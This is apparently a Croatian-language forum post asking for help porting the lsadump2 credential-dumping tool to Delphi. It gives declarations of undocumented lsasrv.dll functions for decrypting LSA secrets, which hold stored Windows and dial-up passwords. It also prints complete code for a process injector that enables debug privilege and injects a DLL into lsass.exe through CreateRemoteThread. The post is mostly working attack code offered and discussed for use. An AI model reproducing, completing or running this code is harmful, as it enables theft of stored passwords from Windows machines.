Ok, evo ovako.. radi se o "LSA dumping memory", to je kljuc koji se nalazi ovdje:
HKEY_LOCAL_MACHINE\SECURITY , ali ako ides sa regedit.exe il bilo cim drugim neces vidjet nista jer program mora bit startovan od SYSTEM usera da bi vidio taj sadrzaj.. a to znaci jebada ili jednostavno injectanje koda u lsass.exe jer je on vec startovan od system usera i zaduzen za ta sranja!!
Uglavnom znaci tu \SECURITY\Policy\Secrets se nalaze keyevi.. jedno oko njih 20-ak koji su kriptovani, svaki taj key je kao 1 secret i on se pomocu ovih fja dekriptuje i nakon toga dobijes plaintext u kojem su passwordi od windowsa, od dial up konekcija (adsl, etc.), znaci tamo je sve sto se tice toga spremljeno!! => imas jedan program lsadump2 se zove i on to upravo radio, al sam odlucio prevest taj C kod u delphi i skratit ga malo pa eto sad zaebava.. uglavnom negdje je problem, il kod deklaracije fja za dekriptiranje tih "secret keyeva":
function LsaIOpenPolicyTrusted(var p1:HPOLICY): NTSTATUS; stdcall; external 'lsasrv.dll' name'LsaIOpenPolicyTrusted';
function LsarOpenSecret(p1: HPOLICY; var p2: LSA_SECRET; dwAccess: DWORD; var p3: HSECRET): NTSTATUS; stdcall;
external 'lsasrv.dll' name 'LsarOpenSecret';
function LsarQuerySecret(p1: HSECRET; var p2: LSA_SECRET; p3,p4,p5:DWORD): NTSTATUS; stdcall;
external 'lsasrv.dll' name 'LsarQuerySecret';
Problem je u tome sto te fje nisu dokumentirane tako da ono.. jebada :), skinio sam i onaj Windows NT/2000 Native API Refrence ali ni tamo se ne spominju!
Znaci onaj gornji kod je DLL koji injectujem u lsass.exe, ovako izgleda kod injectora i kod njega je sve u redu:
Code:
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Tlhelp32, StdCtrls;
type
TForm2 = class(TForm)
Button1: TButton;
ListBox1: TListBox;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const SE_DEBUG_NAME='SeDebugPrivilege';
const DLL_string='c:\l2.dll';
var
Form2: TForm2;
implementation
{$R *.dfm}
procedure TForm2.Button1Click(Sender: TObject);
var hSnapHandle:THandle;
lpProcE:TProcessEntry32;
hToken:THandle;
sedebugnameValue:TLargeInteger;
tkp, ptkpPrev:TOKEN_PRIVILEGES;
bRet:Boolean;
ulRet:ULONG;
_handleWL:THandle;
_exitCode:DWORD;
procHandle : THandle;
RemoteTID : Cardinal;
BaseAddress : pointer;
BytesWritten : Cardinal;
ADLL:String;
begin
if not OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
ShowMessage('problem...');
bRet:=LookupPrivilegeValue( Nil, SE_DEBUG_NAME, sedebugnameValue);
if not bRet then
CloseHandle(hToken);
tkp.PrivilegeCount:= 1;
tkp.Privileges[0].Luid:=sedebugnameValue;
tkp.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
ptkpPrev:=tkp;
bRet:=AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(TOKEN_PRIVILEGES),ptkpPrev,ulRet);
CloseHandle(hToken);
hSnapHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
if hSnapHandle<>0 then
begin
if Process32First(hSnapHandle, lpProcE)=true then
begin
while Process32Next(hSnapHandle, lpProcE) do
begin
procHandle := OpenProcess(PROCESS_ALL_ACCESS, FALSE, lpProcE.th32ProcessID);
if lpProcE.szExeFile='lsass.exe' then
begin
ShowMessage('Sad cu injectovat kod!!! :P');
If procHandle = 0 Then
Exit;
BaseAddress := VirtualAllocEx(procHandle, nil, Length(DLL_string)+4, MEM_COMMIT, PAGE_READWRITE);
If BaseAddress = nil Then
Begin
ShowMessage('Sranje!');
CloseHandle(procHandle);
Exit;
End;
If (not WriteProcessMemory(procHandle, BaseAddress,@DLL_string[1],
Length(DLL_string), BytesWritten)) Then
Begin
ShowMessage('Nece..1');
CloseHandle(procHandle);
Exit;
End;
CreateRemoteThread(procHandle, nil, 0, GetProcAddress(GetModuleHandle('kernel32.dll'),'LoadLibraryA'), BaseAddress, 0,RemoteTID);
CloseHandle(procHandle);
end;
end;
end;
end;
end;
end.
Znaci s njim se ne trebas zamarat.. problem je kod onog DLL-a, evo ti u attachu .exe i .dll od onog lsadump2-a i svi kodovi koji dolaze s njim: vise o tom lsadump2 procitaj na:
http://www.bindview.com/Servic...es/Windows/lsadump2_readme.cfm
poz i thx
edit:
moram nesto restartat pa cu onda okacit slike exceptiona